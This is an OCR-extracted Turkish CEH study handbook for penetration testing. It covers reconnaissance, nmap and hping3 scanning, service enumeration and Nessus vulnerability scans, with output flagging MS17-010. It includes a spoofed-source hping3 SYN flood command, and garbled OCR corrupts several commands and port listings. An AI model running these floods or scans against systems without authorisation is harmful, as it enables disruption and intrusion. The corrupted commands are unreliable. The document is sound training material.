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ONSOz

Bu el kitabini CEH igerigine uygun olarak moduler bir yapida hazirlamaya galistim. El kitab,
daha ¢ok bir saldir klavuzu olarak nitelendirilebilir. Penetrasyon testi sirasinda “hangi islemleri, hangi
sirayla ve nasil uyguluyoruz?” sorularini ortadan kaldirmak ve karisikliklari gidermek adina, adim adim
hazirlanmis bir rehber ortaya koymaya galistim.

Okundugunda, rehberde ele alinan basliklar hakkinda sizlere tatmin olabileceginiz kadar ¢cok
sey Ogretebilecek bir ¢alisma olmayacaginin altini gizmek istiyorum. Burada is biraz okuyucuya disiyor.

Bu calismada genel hattiyla ele alinan konulari daha detayl 6grenerek, arastirma yaparak ve
azimle galisarak kendinizi gelistirmek sartiyla bir seyler 6grenebilirsiniz.



Module 1: Introduction to Ethical Hacking

Givenligin Temelleri

=CIA  =Risk = Politika, Siireg ve Prosedur = Fiziksel Guvenlik Kontrolleri = Mantiksal ve Tekniksel Kontroller

CIA;

Confidentiality = Gizlilik
Integrity = BUtlnluk
Availability = Erisilebilirlik

Gizlilik : Yetkisiz kullanici igin bilgi ifsalarini 6nler.
Biitlinluik : Yetkisiz kullanici igin sistem ve bilgi degisimini engeller.
Erisebilirlik : Yetkili kullanicilar igin bilgiye istenilen anda ulagim garantisi.

Non-Repudiation (inkar Etmeme) : Yapilan herhangi bir islemin sonradan inkar edilememesi.

Asset (Varlik) : Bir bilisim sisteminde bulunan ve veri iliskisi olan tim bilgi islem bilesenleri (Bilgi, insan,yazilim,donanim,servisler)
Threat (Tehdit) : Bilgi varliklarina zarar verme potansiyeline sahip olaylara neden olabilecek olaylar.

Vulnerability (Zafiyet) : Bir varlikta ya da bir varlik grubunda bulunan tehditler tarafindan istismar edilecek eksiklikler ve
zayifliklar.

Policy, Process, Procedure (Politikalar, Siirecler, Prosediirler);
Policy : Rules & Standarts

Process : What, Who & When

Procedure : How & Where

Fiziksel Giivenlik Kontrolleri;
- Full disk encryption (FDE)

- Backup encryption

- Hava kosullari ve nem

Mantiksal ve Tekniksel Kontroller;
Mantiksal Kontroller: Security Tokens
Tekniksel Kontroller: Software Interrupts

Defense-in-Depth (Derinlemesine Savunma)
Katmanl Givenlik

- Network glivenlik 6nlemleri

- Anti-Virls korumalari

- Data batunlik analizi

- Davranigsal analiz

- Uygulama givenligi

Policies, Procedures & Awareness
Physical
Network

Computer
Application
Device

IDS : Intrusion Detection Systems : Saldiri Tespit Sistemleri
IPS : Intrusion Prevention Systems : Saldiri Onleme Sistemleri



Cyber Kill Chain (Siber Oldiirme Zinciri);
Bir hacker, davranislari incelendiginde her zaman asagidaki 7 kategori icerisinde gezdigi gorulmus,
1- Reconaissance (Kesif yapma)
2- Weaponization (Silahlandirma)
3- Delivery (Erisilebilme, iletisim kurma)
4- Exploitation (S6émirme atagi, Kesife gegme) *Bu adimdan sonra bir hacker énlenemez.
5- Installation (Yikleme)
6- Command & Control (Komuta ve kontrol)
7- Actions on Objectives (Hedeflere yonelik eylemler)

Module 2: Footprinting and Reconnaissance

Footprinting and Reconnaissance (Bilgi Toplama ve Kesif);
*Bu asama, CEH’in 2. Modiili ve Cyber Kill Chain modelinin ilk asamasidir.

Bilgi toplama, aktif bilgi toplama ve pasif bilgi toplama olarak ikiye ayrilr;

Pasif Bilgi Toplama: Hedefe ait bir sistem veya sunucuya baglanmadan yapilir. Open-source intelligence (Halka acik veriler),
Sosyal medya, Google, Shodan vb. gibi tarayicilardir.
Pasif Bilgi Toplama Araclari: Arama motorlari, Shodan, Harvester, Archive.org, Whois, Sosyal Medya, Kariyer Siteleri

Google Search ile Pasif Bilgi Toplama : site:facebook.com.tr, inurl:edu.tr, Filetype:xls, -site:tubitak.com.tr
*Daha detayli, ise yarar aramalar igin Exploit-DB Uzerinden “Google Hacking Database” g6z atilabilir.

- site: Aramanin yapilacagi domain adi girilir.

- intitle: Kelimeler sayfalarin baslik etiketinde aranir.

- allintitle: Herhangi bir kelime sayfalarin bagli etiketinde aratilir.

- inurl: Tum kelimeler URL iginde gececek anahtar kelime olarak aratilr.

- allinurl: Herhangi bir kelime URL icinde gegecek anahtar kelime olarak aratilir.

- intext: Web sayfasinin herhangi bir yerinde gececek anahtar kelime olarak aratilir.

Shodan ile Pasif Bilgi Toplama: SHODAN, filtreler kullanarak gesitli bilgisayar tabanli sistemleri (desktop, switch, router, servers
vb.) bulmayi saglayan bir arama motorudur. https://www.shodan.io/

Whois ile Pasif Bilgi Toplama: Domain’i kullanarak kritik bilgilere ulagabilecegimiz bir alandir. https://who.is
Whois ayni zamanda Kali Linux Gzerinden kullanabilmemiz mumkiin.

Theharvester ile Pasif Bilgi Toplama: Bir domain lzerinden belirledigimiz tarayicilar lizerinden arama yapmasini saglar.
# theHarvester -d furkanenes.com -1 500 -b google

Aktif Bilgi Toplama: Direkt olarak hedef ile etkilesimli olarak bilgi toplanir.
Aktif Bilgi Toplama Araclari: Dig, Dirb, Gobuster, Dmitry, Nslookup (aktif/pasif), Maltego (aktif/pasif), Nmap

Dig ile Aktif Bilgi Toplama: Domain isimleri Gizerinden bilgi toplamaya yarayan bir aractir.

# dig google.com @185.154.85.25

DNS Zone Transfer: Zone transfer ile DNS lizerindeki kayitlar transfer edilebilir.
# dig axfr furkan.com @©@10.10.10.10

Dirb ile Aktif Bilgi Toplama: Web sitesinde dizin taramaya yarayan bir aractir.

# dirb https://www.furkanenes.com.tn]

- wordlist.txt dosyasi kullanarak, dosyada bulunan subdomainlere gére arastirma yapilabilir.

# dirb https://www.furkanenes.com.tr/ /usr/share/dirb/wordlists/wordlist.txt


https://www.shodan.io/
https://who.is/
https://www.barikat.com.tr/
https://www.barikat.com.tr/

Gobuster ile Aktif Bilgi Toplama: Web sitesinde dizin taramaya yarayan bir aractir. Dirb ile ayni gérevi gorir ancak aradaki farki,
Gobuster “dizinin dizinine” bakmiyor. O ylizden dirb’e gére daha hizlidir. Normalde Kali’de yok. Kendimiz indirmemiz gereklidir.

# gobuster dir -u https://www.google.com -w /usr/share/dirb/wordlists/big.txt

Dmitry ile Aktif Bilgi Toplama: Bu arag ile Whois, “acgik port ve host firmasi bilgileri gibi bilgileri” elde etmemiz mimkin fakat
buradaki “acik portlar”, nmap kadar giivenilir degildir.

Maltego ile Aktif/Pasif Bilgi Toplama: Bu aragile “alan adlari, whois bilgileri, IP adresi, ag tespiti, e-posta adresi toplama,
telefon, fax numaralari, sosyal paylasim aglari” gibi bilgilere erismek igin kullanilan kapsamli bir programdir. Kali Linux tizerinde
hali hazirda bulunur.

Nmap ile Aktif Bilgi Toplama: Firewall engelleyebilir. Firewalking metodu ile Firewall atlatilabilir. (3. Modiilde detayla
anlatilacak)

Port Kavramu: iki bilgisayarin iletisime gegmesi icin mantiksal kapidir.
TCP ve UDP ile kullanilabilir toplam 65535 vardir.

IANA (The Internet Assigned Numbers Authority) gore;

- Well-Know Ports: 0 - 1023

- Registered Ports: 1024 — 49151

- Dynamic and/or Private Ports: 49152 — 65535

Temel Port Bilgileri:

80 -> HTTP 22 ->SSH

443 -> HTTPS 23 -> TELNET

445 ->SMB 25 ->SMTP

123 -> NTP 514 -> SYSLOG

21 ->FTP 69 -> UNAUTHENTICATED ACCESS

Aktif Bilgi Toplama Engeli Firewall;
Ozellikle dis networklerden i¢ network taramak istenildiginde Firewall taramalarin ¢ok bir bélimiinii engeller.

Firewalking;
Bu tur durumlarda sizma testlerinde kullanilan ve Firewall Gizerinde i¢ network’i taramalari igin kullandiklari metoda
“Firewalking” ismi verilir.

Module 3: Scanning Networks

*Scanning Network (Ag Taramalari), Bu asama, CEH’in 3. Moduludir. Ag taramalarinin yapildigi asamadir.

Ping Sweeps; Port Scan;

- Fping - Nmap

- Megaping -Zenmap
-Masscan

ICMP Ping ve Ping Sweep;

- Aktif cihazlari test etmek icin kullanilir.

- Firewall Gizerinden gegip gegmedigini kontroli saglanir.

- ICMP Echo istekleri kullanilarak tiim network lzerine paketler gdonderilir.

- Canli olan sistemler gonderilen requestlere ICMP Echo Reply yanitini donerler.
- Belirtilen subnet (izerindeki her adrese Echo request gonderilmektedir.

_Ping;

- IP adresine ait bilgisayarin TCP/IP bakimindan calisip calismadigini 6grenmek ve eger calisiyorsa ne kadar stirede ulasildigini
gormek icin kullantlir.

- Ping komutunda, karsidaki cihaza 32 baytlik bir ICMP (Internet Control Message Protocol) paketi gonderilir ve ayni paketin geri
gelmesini bekler.

- Bu paketle karsi cihaza echo komutu yollanmis olur ve karsidan echo reply komutu bekler.


https://www.google.com/

Fping;
- Tek seferde birden ¢ok hosta ICMP echo paketi gonderir.

# fping -aeg 192.168.2.0/24

NMAP Nedir?

- Network Mapper - Ag tarama araci - Agik kaynak kodlu - Ucretisz - Yaygin kullanim - Genis bir topluluk destegi

- Birgok isi tek basina yapabilir. — Her platformda galisir - iyi dékiimantasyon

NMAP: Neler Yapilabilir?
- Sunucu kesfi

- Ag topolojisi kesfi

- Port taramasi

- Sevis ve versiyon tespiti
- Isletim sistemi tespiti

- Guvenlik duvari tespiti

- Zafiyet Tespiti

- Kaba kuvvet saldirisi

- Exploit

NMAP Ping Scan — No Port Scan ( -sh )
Belirtilen ag araligindaki acik olan cihazlarin tespiti yapilr.
# nmap -sn 192.168.2.10-15

NMAP Ping Scan ( -sP)
Belirtilen ag araligindaki acik olan cihazlarin tespiti yapilir.
# nmap -sP 192.168.1.0/24

NMAP ile Port Taramasi;

- Testlerde ilk olarak sunucularin taranmasi ve acik olan port/servislerin tespit edilmesi énemlidir.
- Bu tir durumlarda nmap ile tarama gercgeklestirerek sunucu ile ilgili btilin bilgileri elde edebiliriz.

# nmap www.google.com

TCP Bayraklari;

Data contained There will be Resets a
in the packet no more connection |
should be transmissions Sourc.e Port Des“naflon Port
processed .
immediately Sequence No
URG FIN RST
(Urgent) 3 (Finish) -8 (Reset) Acknowledgement No
Offset Res TCP Flags Window
PSH ACK SYN : : :
(Push) 4 (Acknowledgement) (Synchronize) TCP checksum Urgent Pointer
Sends all Acknowledges Initiatesa Options
buffered data the receiptof a connection . <
immediately packet between hosts | = 0-31 Bits

Standard TCP communications are controlled by flags in the TCP packet header


http://www.google.com/

3-Way Handshake;

lletisimi baslatir; iletisimi sonlandirir;

A B

SYN
\ ____&_\\_—’

SYN-ACK_——"] o 7 SYN+ACK

~~~~~

TCP three-way handshake

NMAP TCP ve UDP Taramasi ( -sT & -sU)
IOAFIEINEN|: # nmap -sT -p 80,443 192.168.2.0/24
-p parametresi ile belirli bir port verebiliriz.

(IDIAFIcInENlMNmap -sU  -T4 192.168.2.5
- T parametresi paketlerin gonderme hizini belirler. T, 0-5 arasi deger alabilir. Firewall atlatma teknigi olarak kullanilabilir.

NMAP_SYN Scan / Stealth Scan ( -sS)
- Hedef portlari tararken TCP SYN paketleri gdnderilir fakat ACK paketi gonderilmez.
- SYN paketine alinan cevaplara gore port agikligi tespit edilir.

root@kali:/home/kali# nmap -sS 192.168.2.43

NMAP Kiiciik Taramalar;
- Belirli bazi portlarin taramasinda kullanilir.

root@kali:/home/kali# nmap -p 21,22,23 192.168.2.43
- Yukaridaki tarama ile hedef lizerinde sadece 21,22,23 portlarinin taramasi gergeklestirilmistir.

NMAP XMAS Scan

- Hedefe URG, PUSH veya FIN bayraklari gonderilir.

- Hedefin o portu kapali ise “RST-ACK” paketi cevabi elde edilir.
- Herhangi bir cevap donmdiyor ise hedef port aciktir.

root@kali:/home/kali# nmap -sX 192.168.2.43

NMAP Fast Scan
- Networkteki cihazlari ve ¢alisan portlari hizlica tespit eder.

root@kali:/home/kali# nmap -T4 -F 192.168.2.43

NMAP ile isletim Sistemi Tespiti

root@kali:/home/kali# nmap -0 192.168.2.43

NMARP ile Script Taramasi
- Nmap’e ait kullanilabilir nmap scriptlerinin bulunmasi;

root@kali:/home/kali# locate *.nse

NMAP ile Zafiyet Script Taramasi
- Nmap'in zafiyet iceren scriptlerinin bulunmasi;

root@kali:/home/kali# locate *-vuln-*.nse

NMAP’in Scriptlerini ile Tarama
- Nmap, kendi scriptlerini bir hedef lizerinde dener. Tim portlarin igerisinde deneyerek zafiyet bulmaya galisir.

root@kali:/home/kali# nmap -sC 192.168.2.13



NMAP Versiyon Bilgisi Ogrenme

root@kali:/home/kali# nmap -sV 192.168.2.13

NMAP Portlari Acik Varsaymak ( -Pn )
Ping karsisinda makinadan cevap alamazsan, deneyecegin zafiyetleri yine de dene. Port kapali sanirsin aslinda agiktir, zafiyet
denediginde de burdan girersin. Uzun siirer ama port kapal gibi goziikse de zafiyetleri tek tek denedigi icin tutarsa ¢alisir.

NMAP ile i¢c Ag Tarama

i¢ ag taramalarinin amaci sirasiyla;

1- Canli host tespiti

2- Hostun islerim sistemi tespiti

3- Host Uzerinde agik portlar

4- Portlarin uzerinde kosan servisler

5- Servislerin versiyon bilgileri

6- Hostlar ve portlar tizerindeki zafiyetlerin tespiti

7- Nmap, Zenmap (Nmap araylzli hali) ya da Hping3

Zenmap ile Ag Taramasi

- Nmap’in arayizIu halidir.

- Kullanimu kolaydir.

- Hedef belirtilir ve Scan tusuna basilir.

- Zenmap indirmek icin nmap.”org/download” boliminden Zenmap GUI .rpm uzantili dosyay! indiriyoruz. Kali, debian
tabanlidir. Ancak indirdigimiz dosyanin uzantisi Red Hat Linux isletim sistemi icin gelistirilmis bir paket yoneticisidir. Ancak bu
dosyayi Debian sistemde galistirmanin ¢ézimi vardir;

- “alien” kullanarak .rpm uzantil paketleri .deb paketine gevirebiliriz. Bunun igin;

root@kali:/home/kali# apt install alien dpkg-dev debhelper build-essential
programini yikledikten sonra,

root@kali:/home/kali# alien zenmap-7.80-1.noarch.rpm
komutunu galistirdiktan sonra son olarak,

root@kali:/home/kali# dpkg -i zenmap_7.80-2 all.deb

Hping3 ile Port Taramasi

- Network Mapping ve DoS saldirilariigin kullanilr.

- Destination ICMP Unreachable

- ICMP’ye kapali olan networklerde kullanilir.

- HTTP Ping anlamina gelir. Ornegin bir sisteme ayakta mi diye ping attigimiz zaman geri cevap dénmediginde hemen pes
etmeyin Hping3 kullanarak bir http (web server) pingi atarakta sansimizi deneyebiliriz. O da olmazsa nmap kullanarak diger
portlari taramaya geceriz. Burada nmap 3. asamada devreye girmis olur. En basta nmap kullanmamamizin sebebi ise “zaman ve
para sorunu”. Nmap taramasindan sonra bloklanma ihtimali de g6z 6niinde bulundurulmalidir.

root@kali:/home/kali# hping3 -scan 80,443 -c 5 -S 192.168.2.43

Hping3 ile Kullanabilecegimiz Tarama Tiirlerinden Bazilari;

ICMP Ping :

Yo QYN il e R [OB M "00t@kali: /home/kali# hping3 -A 192.168.2.43 -p 80
(IR NN el OB~ O0t@kali: /home/kali# hping3 -2 192.168.2.43 -p 80
(o] I To [ - AT I E N S IR Wl I root@kali: /home/kali# hping3 192.168.2.43 -Q -p 139 -s
EIEVEINERGRINEN S root@kali: /home/kali# hping3 -S 192.168.2.43 -p 80 -tcp-timestamp
UL R la @ Ed0Mroot@kali: /home/kali# hping3 -8 50-60 -S 192.168.2.43 -
NN R RUNCN EL R N elad: 000 t@kali: /home/kali# hping3 -F -P -U 192.168.2.43 -p 80
N N SN IR (e A NN Ol 00t @kali: /home/kali# hping3 -1 192.168.2.x -rand-dest -I eth@

Intercept All Traffic Containing HTTP Signature : [gleleyd(C R SRy o TeT(I=VA G R E: N Yok N[~ TR =T o I B N A M=% of 1%

N ORIl - Rl Bl root@kali: /home/kali# hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood

*** |ptables Komutu. Iptables, Linux isletim sisteminde varsayilan bir glivenlik duvaridir . Gorevleri ise : Servislerin
calistig1 portlardan gegen trafigi engelleyebilir, farkli porta yonlendirme yapabilir.



NMAP ile Host Kesfi

root@kali:/home/kali# nmap -sn -n 192.168.91.0/24

SNORT

Bir IPS sistemidir. Acik kaynaklidir. Parali imzalari vardir. Denemek i¢in bir arkadasimiz bilgisayarina Snort kurar,
kurallari yazar karsidaki ona saldiri yapmaya calisir ve atlatip atlatamadigini goriir, yakalandigini goérir. Boylelikle
birisi pentester olarak yetisir digeri de savunma tarafinda gelisir. iki tarafa da faydasi olur. Sanal makineye kuruyoruz,
imzalarini yaziyoruz, kural yazmayi 6greniyoruz. Sonra tiim trafigi Snort’a yonlendiriyoruz. Agi Snort IPS sisteminden
gecirerek guvenligi saglamaya galisiyoruz.

root@kali:/home/kali# nmap -sn -n 192.168.91.0/24 | grep “Nmap scan” | cut -d “ “ -f 5 >
/root/Desktop/target_ IPs.txt

root@kali:/home/kali# cat /root/Desktop/target IPs.txt

>
>
>
>
>

sn: ping taramasi (host kesfi)

-n: name resolution yapma

grep: “Nmap scan”: “Nmap scan” ifadesi gecen satirlari getir.

cut -d “” -f 5: Bosluk delimeter’ina gore gelen ifadeyi bol ve 5. Stitunu getir.
> : ciktiyr belirtilen dizine redirect et.

Module 4: Enumeration

Enumeration. Buasama CEH’in dérdiincl modulidir. Hedef hakkinda daha detayli bilgi topladigimiz asamadir.
Enumeration cok bilgi verir fakat bloklanma ihtimali ylksektir.

root@kali:-/Desktop#[nmap -iL /root/Desktop/target IPs.txt -sS -p 1-65535 -sV -0 --reason --open|
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-62 11:11 EST

Nmap scan report for 192.168.91.131
Host is up, received arp-response (0.000825s latency).
Not shown: 65525 closed ports

ORT STATE SERVICE REASON VERSION

35/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

39/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn

45/tcp open microsoft-ds syn-ack ttl 128 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

444/tcp open krb5247 syn-ack ttl 128

9152/tcp open msrpc syn-ack ttl 128 Microsoft wWindows RPC
9153/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
9154/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
9155/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
9156/1tcp open msrpc syn-ack ttl 128 Microsoft windows RPC
9157/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

AC Address: ©0:0C:29:29:23:48B (VMware)

: 18-1

0S CPE: cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows server 2008::spl cpe:/o:microsoft:w
0S details: Microsoft Windows 7 SP@® - SP1l, Windows Server 2008 SP1l, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop

Service Info: Host: WIN-VFCDQ6J4HMD; 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.91.132
Host is up, received arp-response (0.00052s latency).
Not shown: 65524 closed ports

. A%J
ORT STATE SERVICE REASON VERSION
35/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
39/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn

M45/tcp open microsoft-ds syn-ack ttl 128 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http syn-ack ttl 128 Microsoft HTTPAPI httpd 2.6 (SSDP/UPNnP)
M9664/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

M9665/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

M9666/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

M9667/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

M9668/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

M9669/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

M9689/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

MAC Address: 00:0C:29:03:00:9F (VMware)

e 2

*** L komiutu, tarama yapilacak IP liste dosyasi belirtmek icin kullanilir.
Nikto Araci ile Web Zaafiyetlerinin Tespiti

root@kali:/home/kali# nikto -h http://192.168.2.13
-h : HTTP Gzerinden tarama yapilacagi anlamina gelir.




Temel Servisler

- NetBIOS - SMTP -NTP - Unix / Linux

- SNMP - DNS - LDAP - Windows

NetBIOS Servisi

- Network Basic Input Output System, yerel bir agda birbirleriyle iletisim igerisinde olan cihazlarin iletisim kurabilmesini ve isim
¢6zlimlemesini yapan bir API'dir.

NetBIOS servisi default 139 numaral portta calisir. OSI modelinin “Oturum Katmani”nda (Session Layer) yer alir. Oturum
katmani ayni agda birden fazla bilgisayar varken dogru bir iletisim yonlendirmesi yapilmasini ve dogru bilgisayarlarin iletisim
kurmasini saglar. OSI’'nin 5.katmanidir.

NetBIOS genel olarak 3 amacla kullanilir;
- isim ¢dziimlemek
- Datagram dagitimini gergeklestirmek
- Oturum hizmeti vermek

- NetBIOS, OSI 5. Katmanda galigir.

SMB (Server Message Block); Tiirkce karsihig “Sunucu ileti Blogu” olan, sunucu ve istemci arasindaki iletisimi saglayan bir

network protokolldir. OSI modelinin Uygulama katmaninda ¢alisan SMB, dosya paylasimlarina erismede, ag, yazici ve gesitli
baglantilarda kullanilir. 139 ve 445 portlarini kullanir.

SMB sirimleri ve kullandiklari islerim sistemleri;
- SMB1: Windows Server 2000/2003 ve Windows XP
- SMB2: Windows Server 2008 ve Windows Vista SP1
-SMB2.1: Windows Server 2008 R2 ve Windows 7
- SMB3: Windows Server 2012 ve Windows 8

* NetBIOS Enumeration Araclari: SuperScan, Hyena, Winfingerprint

Nbtscan Araci;

- nbtcan araci bir subnette netbios name servisi agik olan cihazlari tespit etmek ve gerekli bilgileri toplamak icin kullanilir.
tAroot@kali:/home/kali# nbtscan 192.168.93.0/24

SNMP Servisi
- Simple Network Management Protocol, aga bagh cihazlarin ydnetim ve denetimi igin kullanihr.
- Varsayilan olarak UDP 161-162 portlarini kullanir.
- 0SI 7. Katmanda calisir.
- 3 bilesenden olusur;
* Ajan uygulama
* Yonetici uygulama
* Ag yonetim sistemi

* SNMP Tespit/Sorgu Araclari: OpUtils, SNMPULtil, SNScan, Solarwinds IP Network Browser, SNMP Scanner, SNMP Walk

DNS Servisi
- Domain Name System, Domain name-IP adresi arasinda doniisiim yapar.
- DNS varsayilan olarak;
* UDP 53 (sorgulari ¢oziimlemek igin)
* TCP 53 (bolge transferleri icin) portlarini kullanir.
- 0SI 7. Katmanda calisir.
- Zone (Bolge): DNS’teki belli bir etki alanindaki kayitlarin bitinudir. - DNS Tespit/Sorgu Araglari; Nslookup, Dig, host
SMTP Servisi
- Simple Mail Transfer Protocol, elektronik posta géndermeye/iletmeye yarar.
- Varsayilan olarak TCP 25 ve 587 portlarini kullanir.
* SMTP Tespit/Sorgu Araclari; NetScan Tools Pro




NTP Enumeration

- Network Time Protocol, agdaki cihazlarin zamanini senkronize etmeye yarar.
- UDP 123 portunu kullanir.

- 0Sl 7. katmanda galisir.

* NTP Tespit/Sorgu Araclari; ntptrace, ntpdc, ntpq

LDAP Enumeration

- Light Weight Directory Access Protocol, Microsoft Active Directory, OpenLDAP gibi dagitik dizin servislerine erisim igin
kullanihr.

- Varsayilan olarak TCP 389 portunu kullanir.

- OSI 7. katmanda cgalisir.

* LDAP Tespit/Sorgu Araclari: Active Directory Explorer, Active Directory Domain Services Management Pack, LDAP
Administration Tool, Softerra LDAP Administrator.

Unix/Linux Enumeration Araclari
- Finger

- Rpcclient

- Rpcinfo

- Showmount

- enum4linux

enumdlinux Araci;
- SAMBA tizerinden Linux/Windows sistemlerin bilgisini verir.

root@kali:/home/kali# enum4linux -S 192.168.93.133

Windows Enumeration Araclari
- Psexec

- Psgetsid

- Pskill

- Pslist

- Psloggedon

- Psloglist

- Sid2user / user2sid

Ne Onlem Alinmali?

- Gereksiz servisler kapatilmali

- Kapatilamayan servisler belli IP’lerden erisilecek sekilde diizenlenmeli
- Sifreli protokoller tercih edilmeli

- Varsayilan bilgiler bulundurulmamali

- SMTP sunuculari gonderilen mail adresini dogrulamali.

- Loglama ve alarm sistemi olusturulmali.




Module 5: Vulnerability Analysis

Vulnerability Analysis (Zafiyet Analizleri), bu asama CEH’in 5. moduliidiir. Zafiyet taramalarinin yapildigi asamadir.
Vulnerability Scan Araclari; Nmap, OpenVAS, Nessus

Su ana kadar yaptigimiz islemleri goz 6niinde bulundurursak; Bir hedef belirledik — Bilgi topladik — Daha ¢ok bilgi topladik —

Sistemin portlari agik mi kapali mi diye baktik — Servis taramasi yaptik. Simdi ise buldugumuz servislerdeki zafiyetleri tarama
kismini bu bolimde isleyecegiz.

Zafiyet Tarama;

- Zafiyet taramalarina baglamadan 6nce yapilacak ilk adim hedef cihazin/networkiin erisilebilir olup olmadiginin tespitidir.
- Zafiyet taramalarinda saldirganlar tarafindan en ¢ok kullanilan arag¢ “Nessus” zayifet tarayicidir.

- Nessus hem zafiyet denetimi hemde uyumluluk deneitmi yapabilen glgli bir aragtir.

- Linux cihazlarinda, nessus sunucusunun yapilandirilabilmesi icin arkaplanda nessus client lizerinde “nessus &” komutu
calistinimalidir.

Zafiyet Kategorileri;

- True Positive : Olumlu bir sey soylliyorum ve bu dogru.

- True Negative : Olumsuz bir sey séyliyorum ve bu dogru.

- False Positive : Olumlu bir sey séyliiyorum ama bu yanls.

- False Negative : Olumsuz bir sey sdyliiyorum ama bu yanls.

Ag Zafiyet Tarayicilari;
- SATAN
- Nessus
- OpenVAS
-Nmap

NMAP ile Zafiyet Taramasi;

root@kali:- /Desktop# nmap -iL /root/Desktop/target IPs.txt --script *-vuln-*

< < . Z 11 15 EST
hmap scan report for 192.168.91.131 ]
v7.

Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

MAC Address: 00:0C:29:29:23:4B (VMware)

Host script results:
| samba-vuln-cve-2012-1182: NT_iTATUS_ACCESS_DENIED
| smb-vuln-msl0-054: false
smb-vuln-ms10-061: NT STATUS ACCESS DENIED
smb-vuln-ms g
|  VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBvl servers (msl17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (msl7-010).
|
|
|
|
|
|

Disclosure date: 2017-03-14
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
2 https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/




Nessus Zafiyet Tarama Araci
- https://www.tenable.com/products/nessus
- Guvenlik zafiyeti tarama programi
- Genis ve kapsaml bir tarama
- Disik maliyet
- Olceklendirilebilir bir yapi
- Nessus Home araci ile Ucretsiz hizmet

Nessus Basic Network Scan;

Welcome to Nessus Essentials

To get started, launch a host discovery scan to identify what hosts on your network
are available to scan. Hosts that are discovered through a discovery scan do not
count towards the 16 host limit on your license

Enter targets as hostnames, IPv4 addresses, or IPv6 addresses. For IP addresses
you can use CIDR notation (e.g., 192.168.0.0/24), a rar g
192.168.0.1-192.168.0.255), or a comma-separated list (e.g., 192.168.0.0
192.168.0.1)

Targets
192.168.93.0/24

o D

My Host Discovery Scan Results
Nessus found the following hosts listed below from your list of targets (192.168.93.0/24)
To launch your first basic network scan, select the hosts you want to scan. These hosts count towards the 16
host limit on your license.

IP

192.168.93.2

192.168.93.128
192.168.93.130
192.168.93.131

192.168.93.254



https://www.tenable.com/products/nessus

Scans

Settings

My Host Discovery Scan

< Back to My Scans

i My Scans

AllS
& cans Hosts 5 Vulnerabilities
fi Trash

Filter

@ Policies Host
@ Plugin Rules
@ Pu 192.168.93.254

192.168.93.131
» Community

Research 192.168.93.130

192.168.93.128

192.168.93.2

Tenable News

CVE-2020-15999,
CVE-2020-17087:
Google Chrome Free...

Configure

2 History 1

Ports

135, 139, 445, 49152, 49153, 49154, 49155, 49156, 49174

135, 139, 445, 49664, 49665, 49666, 49667, 49668, 49670, 50343

Launch w Report v
Scan Details
Policy: Host Discovery
Status: Completed
Scanner: Local Scanner
Start: Today at 6:54 AM
End: Today at 6:55 AM
Elapsed: a few seconds

Vulnerabilities

@ Critical
» High

Medium
e Low
e Info

Scans Settings
My Basic Network Scan Sk
& My Scans « Back to My Scans
Yy
All'S
- e Hosts 3 Vulnerabilities 38 History 1
@i Trash
Filter »
o Policies Host Vulnerabilities
®) Plugin Rules g
: 21689129 . N
YTEY
s Community
s R P

Tenable News

How to Leverage
Nessus Scan Reports
for Better Vul...

Audit Trail

Launch «

Scan Details

Policy:
Status:
Scanner:
Start:
End:
Elapsed:

Vulnerabilities

Report v Expo

Basic Network Scan
Completed

Local Scanner
Today at 6:55 AM
Today at 7:.01 AM

6 minutes

o Critical
High
Medium

o Low

® Info



My Basic Network Scan / 192.168.93.131 / Microsoft Windows (Multiple Iss...

Configure  Audit Trail Launch +
« Back to Vulnerabilities
Vulnerabilities 20
Sev * Name 4 Family Count ¥ Scan Details
MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553) (remote c...  Windows 1 Policy: Bat
Status: Cot
Unsupported Windows OS (remote) Windows 1 Scanner: Lot
Start: Toc
MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERN... ~ Windows 1 End: Toc
Elapsed: 6
MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentiale... ~ Windows 1
Vulnerabilities
WMI Not Available Windows 1
My Basic Network Scan / Plugin #97833 e N I 18
¢« Back to Vulnerability Group
Vulnerabilities 20
MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMP... Plugin Details
)
Description Severity: High
The remote Windows host is affected by the following vulnerabilities : ID: 97833
Version: 1.24
